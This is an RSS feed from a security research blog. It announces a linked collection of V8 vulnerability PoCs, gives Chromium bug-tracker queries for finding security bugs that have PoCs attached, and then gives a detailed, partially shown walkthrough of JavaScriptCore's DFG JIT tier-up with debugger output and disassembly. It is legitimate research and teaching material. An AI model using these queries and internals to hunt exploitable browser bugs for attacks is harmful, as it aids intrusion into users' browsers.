<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Posts on Zon8 Research</title>
        <link>https://zon8.re/posts/</link>
        <description>Recent content in Posts on Zon8 Research</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <lastBuildDate>Sat, 05 Jun 2021 00:00:00 +0000</lastBuildDate>
        <atom:link href="https://zon8.re/posts/index.xml" rel="self" type="application/rss+xml" />
        
        <item>
            <title>V8 Vulnerability PoCs</title>
            <link>https://zon8.re/posts/v8-vulnerability-pocs/</link>
            <pubDate>Sat, 05 Jun 2021 00:00:00 +0000</pubDate>
            
            <guid>https://zon8.re/posts/v8-vulnerability-pocs/</guid>
            <description>https://github.com/zon8research/v8-vulnerabilities
As part of our research into JavaScript Engines, we&amp;rsquo;ve collated a set of V8 vulnerability PoCs. These may be useful for studying common trends and bug styles, in addition to importing these PoCs into your fuzzing corpus.
Three sources were used to gather the dataset:
In-line PoC payloads on public V8 bug reports. Attachments on V8 bug reports. If there is no PoC available uploaded to the bug report, we have found the added regress/stress testcase in the V8 codebase associated with the bug report.</description>
            <content type="html"><![CDATA[<p><a href="https://github.com/zon8research/v8-vulnerabilities">https://github.com/zon8research/v8-vulnerabilities</a></p>
<p>As part of our research into JavaScript Engines, we&rsquo;ve collated a set of V8 vulnerability PoCs. These may be useful for studying common trends and bug styles, in addition to importing these PoCs into your fuzzing corpus.</p>
<p>Three sources were used to gather the dataset:</p>
<ul>
<li>In-line PoC payloads on public V8 bug reports.</li>
<li>Attachments on V8 bug reports.</li>
<li>If there is no PoC available uploaded to the bug report, we have found the added regress/stress testcase in the V8 codebase associated with the bug report.</li>
</ul>
<p>The following <a href="https://bugs.chromium.org/p/chromium/issues/list">Chromium Bug Tracker</a> search queries were useful in finding vulnerabilities that may contain PoCs:</p>
<p>Find Bug Reports with In-line PoC Payloads:</p>
<pre tabindex="0"><code>component:Blink&gt;JavaScript  (status:Verified OR status:Fixed) label:Security_Severity -label:Security_Severity-Low (&#34;function&#34; OR &#34;main()&#34; OR &#34;var &#34; OR &#34;v1 &#34; OR &#34;proto&#34;)
</code></pre><p>Find Bug Reports with PoC Attachments, or Links to External PoCs:</p>
<pre tabindex="0"><code>component:Blink&gt;JavaScript  (status:Verified OR status:Fixed) label:Security_Severity -label:Security_Severity-Low &#34;.js&#34;
</code></pre><p>Using this approach, we have managed to gather a large set of PoCs from both external researchers as well as Clusterfuzz.</p>
<p><em>Note: This is not an exhaustive list, we have ignored duplicates and low severity bugs, additionally, there are likely bugs that we have missed.</em></p>
]]></content>
        </item>
        
        <item>
            <title>JavaScriptCore Internals Part III: The DFG (Data Flow Graph) JIT -- Graph Building</title>
            <link>https://zon8.re/posts/jsc-part3-the-dfg-jit-graph-building/</link>
            <pubDate>Wed, 26 May 2021 00:00:00 +0000</pubDate>
            
            <guid>https://zon8.re/posts/jsc-part3-the-dfg-jit-graph-building/</guid>
            <description>Introduction The DFG (Data Flow Graph) and the FTL (Faster Than Light) are the two optimising compilers used by JavaScriptCore and have been the source of a number of JIT bugs that lead to type confusions, OOB (Out-Of-Bounds) access, information leaks, etc. Some of these have been successfully exploited as part of various Pwn2Own1 2 3 competitions targeting Safari.
Part II examined the LLInt and Baseline JIT and explored how JavaScriptCore tiers up from one to the other and how the Baseline JIT optimises bytecode execution.</description>
            <content type="html"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>The DFG (Data Flow Graph) and the FTL (Faster Than Light) are the two optimising compilers used by JavaScriptCore and have been the source of a number of JIT bugs that lead to type confusions, OOB (Out-Of-Bounds) access, information leaks, etc. Some of these have been successfully exploited as part of various Pwn2Own<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> <sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> competitions targeting Safari.</p>
<p><a href="/posts/jsc-part2-the-llint-and-baseline-jit/">Part II</a> examined the LLInt and Baseline JIT and explored how JavaScriptCore tiers up from one to the other and how the Baseline JIT optimises bytecode execution. This blog post will cover the DFG internals and focus on parsing bytecode to generate a DFG graph and reading DFG IR. The screenshot<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> below shows the previously explored stages of JSC and the DFG pipeline:</p>
<p><img src="/images/jsc-part3/dfg_pipeline_stages.png" alt="dfg-pipeline-stages"></p>
<p>This blog begins with a review of how the Baseline JIT tiers up to the DFG and triggers compilation by the DFG. It then explores the process of parsing bytecode to generate an unoptimised graph and provides the reader with an understanding of the DFG IR syntax and semantics. The blog post concludes by examining various examples of JS program constructs and the DFG graphs generated.</p>
<h1 id="existing-work">Existing Work</h1>
<p>As we&rsquo;ve seen in <a href="/posts/jsc-part2-the-llint-and-baseline-jit/">Part II</a> a key body of work that will be revisited is the <a href="https://webkit.org/blog/10308/speculation-in-javascriptcore/">WebKit blog: Speculation in JavascriptCore</a>. The relevant sections from this blog are <em>Compilation and OSR</em> which discusses in great detail the theoretical aspects of the DFG, including its IR, optimisation phases and compilation.</p>
<h1 id="tiering-up">Tiering Up</h1>
<p>In <a href="/posts/jsc-part2-the-llint-and-baseline-jit/">Part II</a>, explored how the LLInt Tiers up into the Baseline JIT. This section looks into how the Baseline JIT tiers up into the DFG. The graph<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> below shows the timeline on how this tiering up process pans out:</p>
<p><img src="/images/jsc-part3/dfg_pipeline_execution.png" alt="dfg-pipeline-execution"></p>
<p>We begin by updating our debugging environment. The Baseline JIT tracing flags have been removed from <code>launch.json</code> and reset the internal flags in <a href="https://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/llint/LLIntCommon.h#L32">LLIntCommon.h</a> and <a href="https://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/jit/JIT.cpp#L54">JIT.cpp</a>. We&rsquo;ve enabled the DFG compiler and also disabled the FTL compiler by adding the <code>--useFTLJIT=false</code> flag.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;version&#34;</span>: <span style="color:#e6db74">&#34;0.2.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;configurations&#34;</span>: [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;(gdb) Launch&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;type&#34;</span>: <span style="color:#e6db74">&#34;cppdbg&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;request&#34;</span>: <span style="color:#e6db74">&#34;launch&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;program&#34;</span>: <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/jsc&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;args&#34;</span>: [
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--useConcurrentJIT=false&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--useFTLJIT=false&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--verboseOSR=true&#34;</span>,
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--thresholdForJITSoon=10&#34;</span>, 
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--thresholdForJITAfterWarmUp=10&#34;</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--reportCompileTimes=true&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;--dumpGeneratedBytecodes=true&#34;</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/test.js&#34;</span>
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        }
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>With the debugging environment setup, let&rsquo;s review the static execution count thresholds required to tier up from the Baseline JIT to the DFG. These static counter values are defined in <a href="https://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/runtime/OptionsList.h#L287">OptionsList.h</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>v(Int32, thresholdForOptimizeAfterWarmUp, <span style="color:#ae81ff">1000</span>, Normal, <span style="color:#66d9ef">nullptr</span>) \
</span></span><span style="display:flex;"><span>v(Int32, thresholdForOptimizeAfterLongWarmUp, <span style="color:#ae81ff">1000</span>, Normal, <span style="color:#66d9ef">nullptr</span>) \
</span></span><span style="display:flex;"><span>v(Int32, thresholdForOptimizeSoon, <span style="color:#ae81ff">1000</span>, Normal, <span style="color:#66d9ef">nullptr</span>) \
</span></span></code></pre></div><p>The ExecutionCounter object <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/bytecode/CodeBlock.h#L1049"><code>m_jitExecuteCounter</code></a> is initialised in the generated CodeBlock to track the threshold values for DFG optimisation. The functions that set these values in the CodeBlock are defined in <a href="https://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/bytecode/CodeBlock.h#L753">CodeBlock.h</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>    <span style="color:#75715e">// Call this to reinitialize the counter to its starting state,
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// forcing a warm-up to happen before the next optimization trigger
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// fires.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">optimizeAfterWarmUp</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Call this to force an optimization trigger to fire only after
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// a lot of warm-up.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">optimizeAfterLongWarmUp</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">optimizeSoon</span>();
</span></span></code></pre></div><p>For an unoptimised CodeBlock, the tier-up threshold is set by the call to <code>optimizeAfterWarmUp</code>. If a CodeBlock was previously compiled but execution in the optimised code either OSR exited or the optimised code entered into a loop, then the tier-up threshold for re-compilation is set with the call to <a href="https://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/dfg/DFGOperations.cpp#L3654"><code>optimizeAfterLongWarmUp</code></a>. The function <a href="https://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/jit/JITOperations.cpp#L1884"><code>optimizeSoon</code></a>, is used to set the tier-up threshold when there are call frames still executing a CodeBlock and determines that it&rsquo;s <em>cheaper</em> to delay tier-up and continue executing in a lower tier for a little longer.</p>
<p>Similar to the JSC flags that provides the ability to modify the static Baseline JIT thresholds at runtime (i.e. <code>--thresholdForJITAfterWarmUp</code> and <code>--thresholdForJITSoon</code>), JSC provides the following DFG JIT flags to do the same; which as we&rsquo;ve seen above are: <code>--thresholdForOptimizeAfterWarmUp</code>,<code>-- thresholdForOptimizeAfterLongWarmUp</code>, <code>--thresholdForOptimizeSoon</code>.</p>
<p>Let&rsquo;s now construct a test script <code>test.js</code> to observe DFG tiering up. The program below attempts to optimise the function <code>jitMe</code> using the DFG by executing it in a loop over, 1000 iterations:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">$</span> <span style="color:#a6e22e">cat</span> <span style="color:#a6e22e">test</span>.<span style="color:#a6e22e">js</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">y</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">jitMe</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The bytecode generated for the function <code>jitMe</code> is as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">jitMe</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">BcU0vO</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, <span style="color:#a6e22e">NoneFunctionCall</span>, <span style="color:#ae81ff">15</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">instructions</span> (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">1</span> <span style="color:#a6e22e">instructions</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">metadata</span>); <span style="color:#ae81ff">135</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">120</span> <span style="color:#a6e22e">metadata</span> <span style="color:#a6e22e">bytes</span>); <span style="color:#ae81ff">3</span> <span style="color:#a6e22e">parameter</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">8</span> <span style="color:#a6e22e">callee</span> <span style="color:#a6e22e">register</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">scope</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">7</span>] <span style="color:#a6e22e">add</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">arg2</span>, <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">126</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">13</span>] <span style="color:#a6e22e">ret</span>                <span style="color:#a6e22e">loc6</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ ]
</span></span></code></pre></div><p>When the <a href="https://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/jit/JITOpcodes.cpp#L1021">opcode <code>enter</code> is compiled by the Baseline JIT</a>, it emits an <a href="https://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/jit/JITOpcodes.cpp#L1032">optimisation check</a> to count executions of the CodeBlock in the Baseline JIT. One can inspect the emitted JIT code in the debugger by setting a breakpoint in the LLInt as <a href="/jsc-part2-llint-and-baseline-jit/#jit-execution">described in Part II</a>. In the screenshot below, a breakpoint is set at the jump instruction to the Baseline JIT compiled <code>on_enter</code> opcode pointed to by <code>rax</code>.</p>
<p><img src="/images/jsc-part3/baselinejit_compiled_on_enter.png" alt="baselinejit_compiled_on_enter"></p>
<p>Examining the disassembly for <code>op_enter</code>, observe that <code>r11</code> stores the reference pointer to <code>m_jitExecuteCounter.m_counter</code> for the CodeBlock and is set to <code>-1000</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#f92672">-</span><span style="color:#a6e22e">exec</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">/</span><span style="color:#ae81ff">10</span><span style="color:#a6e22e">i</span> <span style="color:#a6e22e">$rip</span>
</span></span><span style="display:flex;"><span>=&gt; <span style="color:#ae81ff">0x7fffaed00474</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">movabs</span> <span style="color:#a6e22e">r11</span>,<span style="color:#ae81ff">0x7fffae3c40f4</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed0047e</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">add</span>    <span style="color:#a6e22e">DWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">r11</span>],<span style="color:#ae81ff">0x1</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed00482</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">jns</span>    <span style="color:#ae81ff">0x7fffaed00809</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed00488</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">movabs</span> <span style="color:#a6e22e">r11</span>,<span style="color:#ae81ff">0x7fffeed9ac38</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed00492</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">inc</span>    <span style="color:#a6e22e">QWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">r11</span>]
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed00495</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">movabs</span> <span style="color:#a6e22e">r11</span>,<span style="color:#ae81ff">0x7fffaeb0bd20</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed0049f</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">cmp</span>    <span style="color:#a6e22e">BYTE</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">r11</span>],<span style="color:#ae81ff">0x0</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed004a3</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">jne</span>    <span style="color:#ae81ff">0x7fffaed008c0</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed004a9</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">movabs</span> <span style="color:#a6e22e">r11</span>,<span style="color:#ae81ff">0x7fffeed9ac40</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed004b3</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">inc</span>    <span style="color:#a6e22e">QWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">r11</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">-</span><span style="color:#a6e22e">exec</span> <span style="color:#a6e22e">si</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">Switching</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">thread</span> <span style="color:#ae81ff">2</span> (<span style="color:#a6e22e">Thread</span> <span style="color:#ae81ff">0x7fffef6eb700</span> (<span style="color:#a6e22e">LWP</span> <span style="color:#ae81ff">6093</span>))](<span style="color:#a6e22e">running</span>)
</span></span><span style="display:flex;"><span><span style="color:#f92672">=</span><span style="color:#a6e22e">thread</span><span style="color:#f92672">-</span><span style="color:#a6e22e">selected</span>,<span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;2&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0x00007fffaed0047e</span> <span style="color:#66d9ef">in</span> <span style="color:#f92672">??</span> ()
</span></span><span style="display:flex;"><span><span style="color:#f92672">-</span><span style="color:#a6e22e">exec</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">/</span><span style="color:#a6e22e">wd</span> <span style="color:#a6e22e">$r11</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0x7fffae3c40f4</span><span style="color:#f92672">:</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1000</span>
</span></span></code></pre></div><p>The jump to address <code>0x7fffaed00809</code> in the snippet above is taken when the sign flag is unset (i.e. the value referenced by the pointer stored in <code>r11</code>) is incremented to <code>0</code>. This jump takes execution to the prologue to the function call <a href="https://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/jit/JITOperations.cpp#L1694"><code>JSC::operationOptimize(JSC::VM*, uint32_t)</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#f92672">-</span><span style="color:#a6e22e">exec</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">/</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">i</span> <span style="color:#ae81ff">0x7fffaed00809</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed00809</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">movabs</span> <span style="color:#a6e22e">r9</span>,<span style="color:#ae81ff">0x7fffaeb09fd0</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed00813</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">r9</span>,<span style="color:#a6e22e">QWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">r9</span>]
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed00816</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">add</span>    <span style="color:#a6e22e">r9</span>,<span style="color:#ae81ff">0xffffffffffffffd0</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">#</span>... <span style="color:#a6e22e">truncated</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">brevity</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed0083d</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">esi</span>,<span style="color:#ae81ff">0xf0</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed00842</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">movabs</span> <span style="color:#a6e22e">rdi</span>,<span style="color:#ae81ff">0x7fffaeb00000</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed0084c</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">DWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">rbp</span><span style="color:#f92672">+</span><span style="color:#ae81ff">0x24</span>],<span style="color:#ae81ff">0x3c</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed00853</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">movabs</span> <span style="color:#a6e22e">r11</span>,<span style="color:#ae81ff">0x7fffaeb09fd8</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed0085d</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">mov</span>    <span style="color:#a6e22e">QWORD</span> <span style="color:#a6e22e">PTR</span> [<span style="color:#a6e22e">r11</span>],<span style="color:#a6e22e">rbp</span>
</span></span><span style="display:flex;"><span>   <span style="color:#ae81ff">0x7fffaed00860</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">movabs</span> <span style="color:#a6e22e">r11</span>,<span style="color:#ae81ff">0x7ffff5e1f50a</span>
</span></span><span style="display:flex;"><span>=&gt; <span style="color:#ae81ff">0x7fffaed0086a</span><span style="color:#f92672">:</span>  <span style="color:#a6e22e">call</span>   <span style="color:#a6e22e">r11</span>
</span></span></code></pre></div><p>The call to <a href="https://github.com/WebKit/WebKit/blob/2d77b53cd9604e46a7b7c5002e3420a0e883f83f/Source/JavaScriptCore/jit/JITOperations.cpp#L1694"><code>operationOptimize()</code></a> is a slow path call into the Baseline JIT which is the trigger to initiate DFG compilation of the CodeBlock and eventually performs OSR Entry into the compiled CodeBlock if the compilation succeeds. A truncated version of the function with the two key actions that it takes highlighted below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>SlowPathReturnType JIT_OPERATION <span style="color:#a6e22e">operationOptimize</span>(VM<span style="color:#f92672">*</span> vmPointer, <span style="color:#66d9ef">uint32_t</span> bytecodeIndexBits)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    dataLogLnIf(Options<span style="color:#f92672">::</span>verboseOSR(), <span style="color:#e6db74">&#34;Triggering optimized compilation of &#34;</span>, <span style="color:#f92672">*</span>codeBlock);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    CodeBlock<span style="color:#f92672">*</span> replacementCodeBlock <span style="color:#f92672">=</span> codeBlock<span style="color:#f92672">-&gt;</span>newReplacement();
</span></span><span style="display:flex;"><span>    CompilationResult result <span style="color:#f92672">=</span> DFG<span style="color:#f92672">::</span>compile(vm, replacementCodeBlock, <span style="color:#66d9ef">nullptr</span>, DFG<span style="color:#f92672">::</span>DFGMode, bytecodeIndex,
</span></span><span style="display:flex;"><span>        mustHandleValues, JITToDFGDeferredCompilationCallback<span style="color:#f92672">::</span>create());  <span style="color:#f92672">&lt;--</span> CodeBlock compilation with DFG
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    CodeBlock<span style="color:#f92672">*</span> optimizedCodeBlock <span style="color:#f92672">=</span> codeBlock<span style="color:#f92672">-&gt;</span>replacement();
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">void</span><span style="color:#f92672">*</span> dataBuffer <span style="color:#f92672">=</span> DFG<span style="color:#f92672">::</span>prepareOSREntry(vm, callFrame, optimizedCodeBlock, bytecodeIndex)) {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... truncated for brevity
